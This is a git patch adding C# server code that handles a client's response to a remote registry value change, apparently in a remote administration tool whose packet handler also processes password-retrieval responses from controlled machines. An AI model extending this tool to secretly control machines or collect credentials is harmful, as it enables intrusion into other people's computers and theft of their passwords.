From dc7b85dc4a13819f45e1fdefe65e9d54daedd66b Mon Sep 17 00:00:00 2001 From: StingRaptor Date: Wed, 27 Jan 2016 09:54:01 +0100 Subject: [PATCH] Added server code for handling the response to a registry value modification. --- Server/Controls/RegistryValueLstItem.cs | 11 ++++++++++- Server/Core/Commands/RegistryHandler.cs | 20 ++++++++++++++++++++ Server/Core/Packets/PacketHandler.cs | 4 ++++ 3 files changed, 34 insertions(+), 1 deletion(-) diff --git a/Server/Controls/RegistryValueLstItem.cs b/Server/Controls/RegistryValueLstItem.cs index a22a5d21..6dbf5256 100644 --- a/Server/Controls/RegistryValueLstItem.cs +++ b/Server/Controls/RegistryValueLstItem.cs @@ -26,6 +26,7 @@ internal class RegistryValueLstItem : ListViewItem { private string _regName { get; set; } private string _type { get; set; } + private string _data { get; set; } public string RegName { get { return _regName; } @@ -45,7 +46,15 @@ internal class RegistryValueLstItem : ListViewItem } } - public string Data { get; set; } + public string Data { + get { return _data; } + set + { + //Temp solution + this.SubItems[2].Text = value; + _data = value; + } + } public RegistryValueLstItem(string name, string type, string data) : base() diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs index be40a684..d17c7a04 100644 --- a/Server/Core/Commands/RegistryHandler.cs +++ b/Server/Core/Commands/RegistryHandler.cs @@ -153,6 +153,26 @@ public static void HandleRenameRegistryValue(xServer.Core.Packets.ClientPackets. catch { } } + public static void HandleChangeRegistryValue(xServer.Core.Packets.ClientPackets.GetChangeRegistryValueResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.ChangeValueFromList(packet.KeyPath, packet.Value); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + } + } + } + catch { } + } + #endregion } } diff --git a/Server/Core/Packets/PacketHandler.cs b/Server/Core/Packets/PacketHandler.cs index 9974a5dd..69290d75 100644 --- a/Server/Core/Packets/PacketHandler.cs +++ b/Server/Core/Packets/PacketHandler.cs @@ -94,6 +94,10 @@ public static void HandlePacket(Client client, IPacket packet) { CommandHandler.HandleRenameRegistryValue((ClientPackets.GetRenameRegistryValueResponse)packet, client); } + else if (type == typeof(ClientPackets.GetChangeRegistryValueResponse)) + { + CommandHandler.HandleChangeRegistryValue((ClientPackets.GetChangeRegistryValueResponse)packet, client); + } else if (type == typeof(ClientPackets.GetPasswordsResponse)) { CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);